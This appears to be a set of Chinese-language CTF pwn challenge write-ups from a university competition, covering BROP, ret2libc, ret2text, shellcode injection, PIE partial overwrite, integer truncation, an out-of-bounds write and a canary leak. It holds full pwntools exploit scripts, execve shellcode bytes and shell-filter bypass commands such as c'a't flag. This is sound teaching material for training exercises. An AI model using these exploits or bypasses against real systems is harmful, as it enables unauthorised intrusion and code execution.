payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(start_addr)
payload += p64(puts_addr)
try:
io = get_io()
io.sendline(payload)
data = io.recv(timeout=0.2)
io.close()
try:
log.info("%x --> %s" % (start_addr,data))
if data == b"\n":
result += b"\x00"
start_addr += 1
continue
result += data[:-1]
start_addr += len(data[:-1])
except:
result += b"\x00"
start_addr += 1
except:
io.close()
result += b"\x00"
start_addr += 1
with open('dump.bin', 'wb') as f:
f.write(result)
f.close()
最终保存为dump.bin,到此,就可以开始正常解题步骤了,将dump.bin拖入ida分析
虽然我们没有把got段dump下来,但是plt段中存在的偏移ida能自动解析,因此没必要把got段也dump下来
可以看到,这是start函数,第一个参数即为main函数,只是缺少了符号表而已,对于漏洞分析完全不是问题


可以看到这个函数就是一个很明显的溢出了

接下来就是ret2libc了,泄露puts地址

到libc database search寻找对应的libc文件,如果无法确定是哪个的话,可以多泄露几个函数的地址,比如read,然后添加条件即可,有经验的话就知道,版本是2.23-0ubuntu11.2_amd64或2.23-0ubuntu11.3_amd64,因为其他的几个版本都太老了ctf比赛中几乎遇不到,然后就把这两个文件下载下来作为libc文件,挨个试,看哪个能打通就可以了,最终版本是2.23-0ubuntu11.3_amd64

exp:
from pwn import *
context.arch = 'amd64'
libc=ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so", checksec = False)
def get_io():
io = remote('ctf.ctbu.edu.cn',33626)
# io = process("./brop")
io.recvuntil(b'You can tell me something here: \n')
return io
def get_buffer_size():
for i in range(1,300):
payload = b'a'*i
buffer_size = len(payload)
try:
io = get_io()
io.send(payload)
io.recvuntil(b'Okay, bye!')
io.close()
log.info("bad: %d" % buffer_size)
except :
io.close()
log.info("buffer_size: %d" % (buffer_size-1))
return buffer_size-1
def get_stop_addr(buffer_size):
addr = 0x400500
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr)
try:
io = get_io()
io.sendline(payload)
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("stop address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))
def get_gadgets_addr(stop_addr, buffer_size):
addr = 0x4006d0
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr) + p64(1)*6
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("gadgets address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))
def get_puts_call_addr(buffer_size, gadget_addr):
addr = 0x4006c4
while True:
addr += 1
payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(0x400000)
payload += p64(addr)
try:
p = get_io()
p.sendline(payload)
p.recvuntil(b'\x7fELF')
log.info("puts address: 0x%x" % addr)
p.close()
return addr
except:
p.close()
log.info("bad: 0x%x" % addr)
def dump_file(buffer_size, gadget_addr, puts_addr, start_addr, end_addr):
result = b""
while start_addr < end_addr:
payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(start_addr)
payload += p64(puts_addr)
try:
io = get_io()
io.sendline(payload)
data = io.recv(timeout=0.2)
io.close()
try:
log.info("%x --> %s" % (start_addr,data))
if data == b"\n":
result += b"\x00"
start_addr += 1
continue
result += data[:-1]
start_addr += len(data[:-1])
except:
result += b"\x00"
start_addr += 1
except:
io.close()
result += b"\x00"
start_addr += 1
with open('dump.bin', 'wb') as f:
f.write(result)
f.close()
def exp():
# get_buffer_size() # 136
# get_stop_addr(136) # 0x4006c4
# get_gadgets_addr(0x4006c4,136) # 0x40075a + 9
# get_puts_call_addr(136,0x40075a) # 0x4006c9
# dump_file(136,0x40075a,0x4006c9,0x400000,0x401000)
io = get_io()
buffer_size = 136
pop_rdi = 0x40075a + 9
ret = pop_rdi + 1
puts_plt = 0x400520
puts_got = 0x601018
pd = b'a' * buffer_size
pd += p64(pop_rdi) + p64(puts_got)
pd += p64(puts_plt)
pd += p64(0x4006D5)
io.sendline(pd)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.info("puts_addr: %x" % puts_addr)
libc_base = puts_addr - libc.symbols[b'puts']
log.info("libc_base: %x" % libc_base)
libc_system = libc_base + libc.symbols[b'system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pd = b'a'*136 + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(libc_system)
io.sendline(pd)
io.interactive()
if __name__=='__main__':
exp()
okabe系列题目:
easy_shell
考点: $0在部分情况下可以获得类似/bin/sh的效果,另外就是sh和/bin/sh等价
进/shell后,原意图是考察拼接指令绕过
选手视角:
IDA打开附件,看到框住的内容

这里由于出题人对于出题流程的不熟悉,所以选择静态编译的原因,看起来可能很难去理解它是怎么判断的(这里给各位新生磕一个)
实际上也可以去大致猜一猜,strcmp还是很常见的,我们看看它在搜索引擎里的解释:

它说strcmp是在对两个字符串内容进行比较,那么回到红框内容,到底是什么在和什么比较?
if ( (unsigned int)j_strcmp_ifunc(v10, "$0")
&& (unsigned int)j_strcmp_ifunc(v10, "sh")
&& (unsigned int)j_strcmp_ifunc(v10, "/sh") )
大概看看就知道,是v10在和”$0″”sh””/sh”进行比较
v10又是什么呢?
if ( !fgets(v10, 100LL, stdin) )
return 1;
这里,进行了fgets,它接受到的内容,就会被存到v10这个字符数组中
比较对了,就能进一步往下走
也就是进入filtered_shell()函数
然后输出提示信息
就算,你没想过搜strcmp是怎么个事
也没看懂逻辑是什么情况
那你看到它专门提出了”$0″”sh””/sh”
就输入试试看嘛
#结果就是:
Enter your command: sh
Privileges elevated! Starting restricted shell...
Restricted shell. ls is allowed, but some commands are blocked.
Try to get the flag, but remember: direct access is blocked!
$
你看,进后面的filtered_shell()函数了吧
好了,现在呢,我们在IDA里双击这个函数
跟进这个函数内容

确实很长很恶心很难看明白是怎么个事
但是
红框这里的判断逻辑还是很好认的吧
这里会把v8进行is_forbidden操作
好,那么我们继续跟进

这里就是这个程序第二关的判断黑名单,也就是说,你输入这里的任何一个内容都是不被允许的
其中,很多人惯用的cat好像没被禁用,为什么交互里还是不能用呢?
欸,这里你跟进unk_482010看看呢

所以cat是不能用的
那我们怎么获取到flag呢?
这里就要引出指令的拼接
实际上bing搜索都能搜到能用的文章()

第一个就是很好用的一篇
pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕) – Falling_Dusk – 博客园
博客里面专门有过滤“cat”的绕过方法

跟着博客一个方法一个方法试就好了
大概预期流程是:
nc ctf.ctbu.edu.cn 34193
Enter your command: sh
Privileges elevated! Starting restricted shell...
Restricted shell. ls is allowed, but some commands are blocked.
Try to get the flag, but remember: direct access is blocked!
$ ls
attachment
docker-entrypoint.sh
flag
$ cat flag
Command contains forbidden operations. Try another way.
$ c'a't flag #指令拼接绕过法
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}
$ ls ; cat flag #另类的绕过检测的方法(博客里没有)
attachment
docker-entrypoint.sh
flag
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}
$ A=ca; B=t; $A$B flag #博客里的第一种办法
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}
当然,就算上面的所有你都没关注,你只是打开IDA了,然后找到main函数了,然后给了它相关函数的反编译代码内容
你随意刷给任何一个AI都能做出本题,比如豆包,kimi,chatgpt,grok等等等等
甚至做法还很多样
这里ai有很多种做法,比如:
两次$0提权,直接避免cat检测
效果如下:
nc ctf.ctbu.edu.cn 34193
Enter your command: $0
Privileges elevated! Starting restricted shell...
Restricted shell. ls is allowed, but some commands are blocked.
Try to get the flag, but remember: direct access is blocked!
$ $0
ls
attachment
docker-entrypoint.sh
flag
cat flag
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}
很神奇吧,具体原理这里就不多说了,建议自行AI,实在不懂又好奇的,在群里找出题人okabe(
ret2text
考点:常规的ret2text
作为栈溢出的经典考点,ret2text是无数pwner的启蒙
当然,这里出题人得先致歉滑跪,在题干里添加了无效的信息(栈平衡),因为出题人误以为自己弄的64位架构了……Orz
说回题目
我们进main函数,F5反编译后,看到的就是这个情况

很空的main函数,就一个vuln()函数
双击跟进
ssize_t vuln()
{
_BYTE buf[24]; // [esp+Ch] [ebp-1Ch] BYREF
printf("Enter your payload: ");
return read(0, buf, 0x64u);
}
这里出现了我们所关心的漏洞点
read函数的栈溢出漏洞
代码中定义了一个栈上的缓冲区 buf,大小为 24 字节(_BYTE buf[24])。但随后调用 read(0, buf, 0x64u) 时,要求从标准输入(0 表示标准输入)读取 0x64 字节(即 100 字节) 到 buf 中。
显然,100 字节的输入远大于缓冲区 24 字节的容量,多余的数据会 “溢出” 缓冲区
那么现在回到栈溢出这个话题,什么是栈溢出?
刚刚说到了,输入的内容远大于buf的容量,多余数据会溢出缓冲区,而这部分多余的数据,会往高地址的部分进行存放,也就是会覆盖原本它们存放的内容,存入你放入的数据内容,不管是垃圾数据也好,你刻意修改的恶意数据地址也好,都会写进去
栈上的布局大概就是下面这样
高地址 |||[返回地址] // 函数执行完后要回到的位置
|||[基指针ebp] // 保存的栈底指针
低地址 |||[buf] // 24字节缓冲区(低地址方向)
那么如果,你填充完buf内容,再覆盖掉ebp的指针内容
然后就到了返回地址存放的区域
如果你传入一个你精心找到的内存地址内容,它会怎么样呢?
当然是去执行你那个地址上的内容
我们看到func窗口有win函数字样,点进去看看

system(“/bin/sh”)
也许你不知道这是什么意思,但是你搜一搜呢
实际上随便搜搜就知道这是一个打开shell的system调用
那如果,我们将返回地址篡改成win()函数的地址
是不是就会让程序的执行流程走到我们想要的地方去?
不如直接开始试一试
配置好基本的pwn脚本环境
(你理应在前面的题目里配置好才对)
from pwn import *
io = process("./text")
payload = b'a'*(28 + 4) + p32(0x08049196)
io.sendline(payload)
io.interactive()
[x] Opening connection to ctf.ctbu.edu.cn on port 34196
[x] Opening connection to ctf.ctbu.edu.cn on port 34196: Trying 172.30.254.48
[+] Opening connection to ctf.ctbu.edu.cn on port 34196: Done
[*] Switching to interactive mode
Enter your payload: cat flag
coctf{ret2flag_640a465c2af5}
后话:如果有工具小子,用妙妙小工具能一把梭
$ python pwnpasi.py -l ../first_question/text -ip ctf.ctbu.edu.cn -p 34196
____ ____ _
| _ \ __ ___ _| _ \ __ _ ___(_)
| |_) |\ \ /\ / / '_ \ |_) / _` / __| |
| __/ \ V V /| | | | __/ (_| \__ \ |
|_| \_/\_/ |_| |_|_| \__,_|___/_|
Automated Binary Exploitation Framework v3.0
by Security Research Team
https://github.com/heimao-box/pwnpasi
[*] [09:44:09] target binary: ./../first_question/text
[*] [09:44:09] remote target: ctf.ctbu.edu.cn:34196
[*] [09:44:09] detecting libc path automatically
[+] [09:44:09] libc path detected: /lib/i386-linux-gnu/libc.so.6
┌────────────────────────────────────────────────────────────┐
│ BINARY ANALYSIS PHASE │
└────────────────────────────────────────────────────────────┘
[*] [09:44:09] setting executable permissions
[*] [09:44:09] collecting binary security information
[*] [09:44:09] collecting binary information
┌────────────────────────────────────────────────────────────┐
│ BINARY SECURITY ANALYSIS │
└────────────────────────────────────────────────────────────┘
Feature | Status | Risk Level
---------------------------------------------------
RELRO | Partial RELRO | MEDIUM
Stack Canary | No canary found | HIGH
NX Bit | NX enabled | LOW
PIE | No PIE (0x8048000) | MEDIUM
RWX Segments | Unknown | LOW
┌────────────────────────────────────────────────────────────┐
│ FUNCTION ANALYSIS │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] scanning PLT functions
[*] [09:44:10] analyzing PLT table and available functions
┌────────────────────────────────────────────────────────────┐
│ FUNCTION ANALYSIS │
└────────────────────────────────────────────────────────────┘
Function | Address | Available
---------------------------------------------------
write | N/A | NO
puts | N/A | NO
printf | 08049060 | YES
main | 080491fe | YES
system | 08049070 | YES
backdoor | N/A | NO
callsystem | N/A | NO
[*] [09:44:10]
┌────────────────────────────────────────────────────────────┐
│ ROP GADGET DISCOVERY │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] searching for x32 ROP gadgets
[*] [09:44:10] searching for ROP gadgets (x32)
┌────────────────────────────────────────────────────────────┐
│ ROP GADGETS (x32) │
└────────────────────────────────────────────────────────────┘
Gadget Type | Address | Status
---------------------------------------------------
pop eax | N/A | NOT FOUND
pop ebx | N/A | NOT FOUND
pop ecx | N/A | NOT FOUND
pop edx | N/A | NOT FOUND
[*] [09:44:10]
┌────────────────────────────────────────────────────────────┐
│ PADDING CALCULATION │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] performing dynamic stack overflow testing
[*] [09:44:10] testing for stack overflow vulnerability
┌────────────────────────────────────────────────────────────┐
│ STACK OVERFLOW DETECTION │
└────────────────────────────────────────────────────────────┘
[*] Testing overflow: [██████████████████████████████] 100%[*] [09:44:10]
[+] [09:44:10] stack overflow detected! Padding: 32 bytes
[*] [09:44:10] performing assembly-based overflow analysis
[+] [09:44:10] stack size: 28 bytes
[+] [09:44:10] overflow padding adjustment: 32 bytes
┌────────────────────────────────────────────────────────────┐
│ VULNERABLE FUNCTIONS IDENTIFIED │
└────────────────────────────────────────────────────────────┘
[+] [09:44:10] vulnerable function: vuln
┌────────────────────────────────────────────────────────────┐
│ ASSEMBLY CODE ANALYSIS │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] disassembling function: vuln
080491c1 <vuln>:
80491c1: push ebp
80491c2: mov ebp,esp
80491c4: push ebx
80491c5: sub esp,0x24
80491c8: call 80490d0 <__x86.get_pc_thunk.bx>
80491cd: add ebx,0x2e27
80491d3: sub esp,0xc
80491d6: lea eax,[ebx-0x1fe4]
80491dc: push eax
80491dd: call 8049060 <printf@plt>
80491e2: add esp,0x10
80491e5: sub esp,0x4
80491e8: push 0x64
80491ea: lea eax,[ebp-0x1c]
80491ed: push eax
80491ee: push 0x0
80491f0: call 8049050 <read@plt>
80491f5: add esp,0x10
80491f8: nop
80491f9: mov ebx,DWORD PTR [ebp-0x4]
--
804925a: call 80491c1 <vuln>
804925f: mov eax,0x0
8049264: lea esp,[ebp-0x8]
8049267: pop ecx
8049268: pop ebx
8049269: pop ebp
804926a: lea esp,[ecx-0x4]
804926d: ret
0804926e <__x86.get_pc_thunk.ax>:
804926e: mov eax,DWORD PTR [esp]
8049271: ret
Disassembly of section .fini:
08049274 <_fini>:
8049274: push ebx
8049275: sub esp,0x8
8049278: call 80490d0 <__x86.get_pc_thunk.bx>
804927d: add ebx,0x2d77
8049283: add esp,0x8
┌────────────────────────────────────────────────────────────┐
│ STRING ANALYSIS │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] searching for /bin/sh string in binary
[*] [09:44:10] checking for /bin/sh string
[+] [09:44:10] /bin/sh string found in binary
[*] [09:44:10] testing for stack overflow vulnerability
┌────────────────────────────────────────────────────────────┐
│ STACK OVERFLOW DETECTION │
└────────────────────────────────────────────────────────────┘
[*] Testing overflow: [██████████████████████████████] 100%[*] [09:44:10]
[+] [09:44:10] stack overflow detected! Padding: 32 bytes
[*] [09:44:10] performing assembly-based overflow analysis
[+] [09:44:10] stack size: 28 bytes
[+] [09:44:10] overflow padding adjustment: 32 bytes
┌────────────────────────────────────────────────────────────┐
│ EXPLOITATION PHASE │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] initializing exploitation attempts
┌────────────────────────────────────────────────────────────┐
│ REMOTE STACK OVERFLOW EXPLOITATION │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] targeting remote service at ctf.ctbu.edu.cn:34196
┌────────────────────────────────────────────────────────────┐
│ EXPLOITATION: ret2system - x32 Remote │
└────────────────────────────────────────────────────────────┘
[PAYLOAD] [09:44:10] preparing ret2system exploit
[*] [09:44:10] system address: 0x8049070
[*] [09:44:10] /bin/sh address: 0x804a008
[CRITICAL] [09:44:10] EXPLOITATION SUCCESSFUL! Dropping to shell...
Encat flag
coctf{ret2flag_640a465c2af5}
ret2shellcode
拿到附件
养成习惯,先看保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
64位架构,基本上没有保护
IDA打开,main函数F5反编译

前面三行很普通,蛮常见的,暂且忽略
后面的几个函数还是蛮常规的,唯一显得有点陌生的只会是这个mprotect
为什么不搜一搜呢(实际上直接搜这一行的内容,就能搜到基本上小改动就能用的exp,母题wp参考[HNCTF 2022 Week1]ret2shellcode-CSDN博客)
实在不行,直接问ai
okabe:mprotect((void *)((unsigned _int64)&bss_start & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7); 什么意思?
AI:这条代码的作用是:将 _bss 段起始地址所在的 4KB 内存页(向下对齐到 4KB 边界)设置为 可读、可写、可执行 权限
可读可写可执行,是任何电脑操作中相当高的权限了
而如果你满怀好奇心的双击了buff
欸?你看看它放置在哪的呢?

不就是bss段的吗,也就是说,buff里的内容,具有可读可写可执行的权限
那么我们想要获取到shell的话,也只需要往buff写入能够打开shell的内容就好
这个内容,被我们称之为shellcode
由于pwntools已经为我们集成了shellcode的编写操作
所以我们只需要调用就好了
好了,怎么控制好说,shellcode知道往哪放了,那怎么让程序流走到我们放置shellcode的位置呢?
还是栈溢出搭配覆盖返回地址的方法
我们在main函数里能看到数组s的长度是256,而架构是64位的,所以对应填充的垃圾数据是:256+8,也就是0x100+0x8 = 0x108
返回地址就是buff的地址
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r = process("./attachment")
buff_addr = 0x404080
shellcode = asm(shellcraft.sh()) #利用pwntools生成shellcode
# shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
ret = 0x0000000000401016
payload = shellcode.ljust(0x108, b'a') +p64(buff_addr)
r.sendline(payload)
r.interactive()
这里给出了另外一个短shell方法,这个操作在下题里同样适用
shellcode_pro
考点:考察限制长度的shellcode
交互时的中文内容虽然有点谜语人性质
但是感觉还是很明显
$ ./attachment
八奈见杏菜最近感觉自己又穿不下以前的衣服了
她向温水诉苦,温水看了看她
暗暗想道,“有的衣服只能由小暴食海獭穿上呢”
然后想了想怎么才能不让老八继续折腾
回道:“应该是衣服缩水了吧”
What's this : [0x7ffd7dd1f4e0] ?
Maybe it's useful ! But how to use it?
想的是衣服缩水了,暗示shellcode的长度受到了限制,变小了
思路还是类似的,栈溢出,覆盖返回地址
唯一的差别就是shellcode的长度受限了
这里就需要选手自己通过搜索去找短的shellcode
实际上,意识到了是shellcode的长度限制后,很好找的

这里的64位短shellcode就是直接可用的
exp里还有一份随手搜到的汇编级的shellcode,asm方法就可用了
exp:
from pwn import *
context(arch='amd64', os='linux' , log_level = 'debug')
p = remote("ctf.ctbu.edu.cn", 32779)
# 启动本地程序
# p = process('./attachment')
# 接收输出直到"What's this : [",然后提取buf的地址
p.recvuntil("What's this : [")
buf_addr_str = p.recvuntil(b']', drop=True)
buf_addr = eval(buf_addr_str)
# 计算偏移量:buf到返回地址的距离为0x10(buf大小) + 8(保存的rbp) = 24字节
offset = 24
# 23字节的shellcode,用于执行execve("/bin/sh", 0, 0)
# shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
shellcode = asm(""" xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall """)
#网上随手搜的短shellcode
# 构造payload:填充字节、返回地址(指向shellcode起始位置)、shellcode
payload = b'A' * offset + p64(buf_addr + offset + 8) + shellcode
# 发送payload
p.send(payload)
# 切换到交互模式
p.interactive()
pie学长与学妹不得不说的二三事
题目名称叫pie,考点是啥应该很明晰了

out函数是出题人脑子抽了写的不重要的文字内容
不过还是提到了有什么东西没变
如果选手有去搜索pie保护
去了解pie保护后,就知道
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。
我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程
好,知道这么多,我们跟进func1看看

很标准的栈溢出漏洞点
另外,我们也很容易在函数栏那里看到存在backdoor函数
跟进backdoor可以看到

那思路还是很明确了,就是栈溢出覆盖返回地址到backdoor函数
但是pie机制不是说好是随机化地址的吗,那我们怎么确定backdoor在运行时的地址?
实际上,如果你切换到text view视图
去观察main函数和backdoor函数,就会发现两个函数是在同一内存页上的
那么,如果程序进入main函数了,对应的栈指针就在main上,那么你只要覆盖返回地址的后两位(因为这里都是0x12xx)

所以思路还是蛮明确的,0x28先填充满buf(你都看pie这题了,应该知道为什么是0x28吧……不理解还是想理解的,联系出题人)
然后p8覆盖地址的后两位,这样由于当前的栈指针前面的几位全是和backdoor一致的,只改后两位就能做到跳转backdoor函数
好了,这里又要引出另外一个问题:
为什么不直接跳转到0x124C?
当我们通过漏洞覆盖返回地址时,程序的栈状态是固定的(由漏洞触发时的上下文决定)。如果直接跳转到0x124C(函数起始地址),会执行push rbp指令 —— 这条指令会将当前rbp的值压入栈中,修改栈的布局。
如果此时栈的状态与backdoor函数预期的栈帧不匹配(比如栈顶位置不对),push rbp可能会覆盖关键数据,或导致后续mov rbp, rsp设置的栈基址错误,最终导致call _system时参数传递失败(无法正确找到"/bin/sh"的地址),甚至程序崩溃。
所以这个时候,我们玩点赖皮的,我们直接跳到
.text:0000000000001250 lea rax, command ; "/bin/sh"
这里就直接调用system(“/bin/sh”)了
🆗,要素集齐了,exp如下:
from pwn import *
#context.log_level='debug'
#p = process('./attachment')
p = remote("ctf.ctbu.edu.cn",33814)
payload = b'a'*0x28 + p8(0x50)
p.send(payload)
p.interactive()
coctf{Your_love_has_never_changed_like_pie_[GUID]}
Trunc
整体功能
结合栈布局,main 函数执行流程(反编译逐句对应):

- 初始化与欢迎界面:调用
print_welcome(argc, argv, envp)(实际无参数依赖,仅打印欢迎信息); - 读取姓名:
- 调用
printf(&format)打印 “请输入你的名字:”; - 调用
fgets(s, 32, _bss_start)读取姓名(_bss_start对应标准输入stdin,fgets限制最多读 32 字节,无栈溢出风险); - 调用
strcspn(s, "\n")找到换行符并置 0,移除输入中的换行;
- 调用
- 读取魔法编号:
- 调用
printf(&byte_4020E6)打印 “请输入你的魔法编号:”; - 调用
__isoc99_scanf("%llu", &v4)读取 64 位无符号整数到v4;
- 调用
- 魔法编号截断:执行
v6 = v4(__int64转int,64 位数值截断为 32 位,高 32 位被丢弃); - 信息打印与权限校验:
- 调用
printf(asc_402110, s, (unsigned int)v4):格式化输出姓名与魔法编号,其中(unsigned int)v4显式将 64 位v4转为 32 位无符号整数,进一步验证截断逻辑; - 调用
is_admin(v4)并判断返回值:若为真则调用get_flag(),否则打印byte_402140(权限不足);
- 调用
- 程序退出:返回 0。
is_admin 函数反编译分析(权限校验核心)
反编译代码:
_BOOL8 __fastcall is_admin(int a1)
{
return a1 == 322420958; // 关键:32位整数对比,322420958 = 0x1337c0de(十六进制)
}
- 参数类型:
a1为int(32 位),但调用时传入的是v4(__int64,64 位)—— 此处存在隐式截断:64 位v4传入 32 位参数a1时,编译器自动丢弃高 32 位,仅保留低 32 位; - 校验逻辑:仅当截断后的 32 位数值等于
322420958(十进制)时,返回真(_BOOL8即 64 位布尔值,真为非 0,假为 0); - 关键结论:管理员魔法编号的 32 位值为
322420958(十六进制0x1337c0de),这是权限绕过的核心目标值。
漏洞类型:64 位→32 位整数截断漏洞
从反编译代码中可定位两处完全独立的截断逻辑,均导致 “输入的 64 位魔法编号被强制转为 32 位”:
- 显式截断:
main函数中v6 = v4(__int64转int),高 32 位直接丢弃; - 隐式截断:
is_admin(v4)调用时,64 位v4传入 32 位参数a1,编译器自动截断高 32 位。
两处截断的共同结果:程序实际校验的是 “输入 64 位数值的低 32 位”,而非完整的 64 位数值 —— 这是漏洞利用的核心前提。
漏洞利用条件(反编译视角)
只要满足以下条件,即可绕过 is_admin 校验:
- 输入的 64 位魔法编号(存储在
v4中)的低 32 位值 = 322420958(十进制); - 高 32 位值可任意(因为截断时会被丢弃,不影响校验结果)。
例如:
- 64 位数值
322420958(十六进制0x000000001337c0de):低 32 位为目标值,高 32 位为 0; - 64 位数值
0xdeadbeef1337c0de(十进制13134307283877666014):低 32 位为0x1337c0de(即 322420958),高 32 位为0xdeadbeef,均满足条件。
exp:
from pwn import *
# 目标二进制文件
binary = './magic_verify'
# 创建进程,设置编码为ASCII避免字节警告
# p = process(binary)
# 远程连接时使用下面这行
p = remote('ctf.ctbu.edu.cn',33983)
# 管理员魔法编号的32位值
# ADMIN_MAGIC = 0x1337c0de
# 构造64位数值,低32位为ADMIN_MAGIC
# payload = ADMIN_MAGIC | (0xdeadbeef << 32)
#简版payload
payload = 322420958
p.sendline(b'Hacker')
p.sendline(str(payload).encode())
p.interactive()
时间跳跃机器
这题的main函数代码好长,我们直接看关键节点吧

这里,判断secret_flag == 0x7FFFFFFF就能拿到shell
好,那我们直接找secret_flag是怎么个事

一看,位于bss段,再往上翻翻呢?

world_line_params是不是和secret_flag相隔得很近?
这里就要引出一个漏洞点了
数组越界
具体漏洞原理建议自行搜索了解,没看懂的联系出题人
这里直接讲解这题的应用
我们可以跟着main函数的视角
看到存在一个modify_param函数
跟进
int __fastcall modify_param(unsigned int a1, unsigned int a2)
{
world_line_params[a1] = a2;
return printf(&byte_402043, a1, a2);
}
关键信息提取:
- 参数类型:a1(索引)和a2(新值)均为unsigned int(无符号整数),而非之前默认的signed int → 影响:输入的 “索引” 会被当作无符号数处理 —— 若输入负数(如-1),会自动转换为超大无符号数(如0xFFFFFFFF),导致访问远超预期的内存地址,无法通过负数索引向前越界,只能通过正数索引向后越界(如11)。
- 漏洞点实锤:函数内无任何索引校验逻辑(如
a1 < MAX_PARAMS),直接执行world_line_params[a1] = a2—— 无论a1多大,均会直接访问数组对应偏移的内存,数组越界漏洞完全确认
结合main函数与modify_param的调用关系,漏洞利用路径就出现了:
- 用户在
main函数选菜单 2,输入 “索引”v3(unsigned int)和 “新值”v4(unsigned int); main函数直接调用modify_param(v3, v4),无任何参数预处理;modify_param用v3作为索引,直接修改world_line_params[v3]—— 若v3=11,则精准修改secret_flag。
好,出现了一个问题,为什么是11?
在上面的图上,我们可以看到world_line_params 离 secret_flag 的距离很近,它们地址的差值为 0x408C-0x4060=0x2c =44字节。 由于整型数组每个元素占4字节,故需要将数组索引调⾄44/4 = 11便可越界到 secret_flag 写⼊内容。
只要在secret_flag里写上0x7FFFFFFF
我们就能拿到shell
exp:
from pwn import *
# p = process('./steins_gate')
p = remote('ctf.ctbu.edu.cn', 33962)
# 计算secret_flag相对于数组的偏移量
offset = 11
# 目标值:0x7FFFFFFF
target_value = 0x7FFFFFFF
# 发送修改参数的请求(使用字节类型)
p.sendlineafter(b"> ", b"2") # 选择修改参数功能
p.sendlineafter(b": ", str(offset).encode()) # 输入偏移量作为索引
p.sendlineafter(b": ", str(target_value).encode()) # 设置目标值
# 交互获取shell
p.interactive()
金丝雀与你的简历
这题叫金丝雀,前面查保护的时候
有细心的同学肯定发现了一个叫canary的保护机制
而canary就是金丝雀的英文
Canary(金丝雀)保护机制是一种防御栈缓冲区溢出漏洞的安全技术,其核心思想是在栈中易被篡改的关键数据(如函数返回地址)前,插入一个特殊的 “哨兵值”(即 Canary 值),通过检测该值是否被篡改,来判断是否发生缓冲区溢出,从而阻止恶意代码执行。
要想在canary保护机制下完成栈溢出,方法还是很多样的
这里只讲最简单的做法
也就是依靠格式化字符串漏洞,泄露canary,然后先填充垃圾字节后,再发送原canary值,再完成溢出,返回到你想要的函数地址
好了,那格式化字符串漏洞怎么弄?
懒得讲这个小知识点了
CTFer成长日记11:格式化字符串漏洞的原理与利用 – 知乎
链接讲得很清楚了
现在我们先来找canary在栈上的位置
这个稳妥的找法肯定是gdb动调
gdb ./attachment
pwndbg>b *0x4013BB #break 下断点,这里的0x4013BB是call _printf的地址,这里这样调更快而已
pwndbg>r #run 运行
pwndbg> canary
AT_RANDOM = 0x7fffffffe099 # points to (not masked) global canary value
Canary = 0x8853ad50cb138900 (may be incorrect on != glibc)
Thread 1: Found valid canaries.
00:0000│-358 0x7fffffffd888 ◂— 0x8853ad50cb138900
Additional results hidden. Use --all to see them.
这里可以看到这一次运行的canary = 0x8853ad50cb138900 (canary本质上是从fs寄存器里取出来的随机值,所以每次的值不一样)
这个时候,再结合功能选项1里存在的格式化字符串漏洞进行栈上位置的泄露
先ni,步进到输入username处
pwndbg>
Please input your username: AAAAAAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello, AAAAAAAA0x7fffffffd9c0-(nil)-(nil)-(nil)-(nil)-0x4141414141414141-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x7fffff0a7025-0x7fffffffdcf8-0x8853ad50cb138900-0x7fffffffdbe0-0x401403
��
这里,我们纯靠数都行,刚刚好,第15位就是我们canary的值
所以canary位置就出来了,之后我们在exp里,用%15$p的形式获取canary值就好了
canary到手了,剩下的就是拿功能选项2里存在的栈溢出漏洞打ret2text了
